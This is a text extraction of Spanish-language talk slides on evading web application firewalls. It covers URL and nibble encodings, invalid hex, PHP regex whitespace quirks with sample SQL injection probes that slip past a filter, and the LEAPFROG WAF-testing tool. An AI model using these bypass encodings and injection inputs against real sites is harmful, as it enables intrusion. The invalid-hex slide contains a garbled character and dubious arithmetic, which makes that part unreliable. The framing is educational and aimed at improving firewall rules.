EVADIENDO FIREWALLS – CodificacionesURL Encode / Firewalls Debiles
Descripcion del tamper script “charencode” de SQLMAP que se usa para codificar la peticion como URL encode:
“Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset”
![Page 75: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/75.jpg)
EVADIENDO FIREWALLS – CodificacionesNibble
• Un nibble son 4 bits
• Un nibble representa medio caracter hexadecimal (2^4 = 16)
• Dos nibbles o un octet, representa un caracter hexadecimal
![Page 76: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/76.jpg)
EVADIENDO FIREWALLS – CodificacionesNibble
Hex Decimal Octal Binary
0 0 0 0000
1 1 1 0001
2 2 2 0010
3 3 3 0011
4 4 4 0100
5 5 5 0101
6 6 6 0110
7 7 7 0111
8 8 10 1000
9 9 11 1001
A 10 12 1010
B 11 13 1011
C 12 14 1100
D 13 15 1101
E 14 16 1110
F 15 17 1111
![Page 77: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/77.jpg)
EVADIENDO FIREWALLS – Codificaciones First Nibble
• Los primeros 4 bits son URL encoded
• “a” = %61
• 6 = %36
• %%361
![Page 78: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/78.jpg)
EVADIENDO FIREWALLS – Codificaciones Second Nibble
• Los segundos 4 bits son URL encoded
• “a” = %61
• 1 = %31
• %6%31
![Page 79: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/79.jpg)
EVADIENDO FIREWALLS – Codificaciones Double Nibble
• Es una combinacion de “first nibble” + “second nibble” encoding
• “a” = %61
• 6 = 36
• 1 = %31
• %%36%31
![Page 80: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/80.jpg)
EVADIENDO FIREWALLS – Codificaciones Hex Invalido
• Se trata de crear hex invalido que resulta en el mismo valor decimal que hex valido
• “a” = %61
• %61 = 6 * 16 + 1 = 97
• %2Ú = 2 * 16 + 65 = 97
• %2Ú es lo mismo que %61
![Page 81: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/81.jpg)
EVADIENDO FIREWALLS – Codificaciones Invalid Hex
Decimal Hex Valido Hex Invalido
10 0A 0A
11 0B 0B
12 0C 0C
13 0D 0D
14 0E 0E
15 0F 0F
16 10 0G
17 11 0H
![Page 82: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/82.jpg)
RAREZAS DE PHP
![Page 83: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/83.jpg)
RAREZAS DE PHPEspacios
<?phpif(preg_match("/^.+$/", $_GET["t"])) {
Bloque peticion maliciosa...}
?>
?t=1 AND 1=1 BLOQUEADO?t=1 AND 1=1%20?t=1 AND 1=1%A0?t=1 AND 1=1%0D,%0C,%0B?t=1 AND 1=1%0A%20
BLOQUEADOBLOQUEADOBLOQUEADOPERMITIDO
![Page 84: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/84.jpg)
RAREZAS DE PHPEspacios
<?phpif(preg_match("/\s+/", $_GET["t"])) {
Bloque peticion maliciosa...}
?>
• En algunas configuraciones el NBSP es detectado como un espacio, en otras configuraciones no lo es
![Page 85: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/85.jpg)
LEAPFROG
![Page 86: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/86.jpg)
• Una herramienta diseñada para mejorar las reglas del Firewall
• Busca bypases para diferentes ataques web (SQLi, XSS, LFI, Filtros de contenido)
• Crea todo sus vectores dinámicamente• Proporciona recomendaciones al encontrar un
bypass• Genera una calificación basada en la cantidad de
vectores permitidos
LEAPFROGQue es?
![Page 87: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/87.jpg)
• WAF Acceptance Factor es la calificación que genera basado en los vectores permitidos
LEAPFROGWAF Acceptance Factor
![Page 88: Nuevas tecnicas de optimización y ofuscacion](https://reader036.fdocuments.es/reader036/viewer/2022062522/5877bf531a28ab2c668b7553/html5/thumbnails/88.jpg)
• Wife Acceptance Factor tomado de:http://en.wikipedia.org/wiki/Wife_acceptance_factor
LEAPFROGWife Acceptance Factor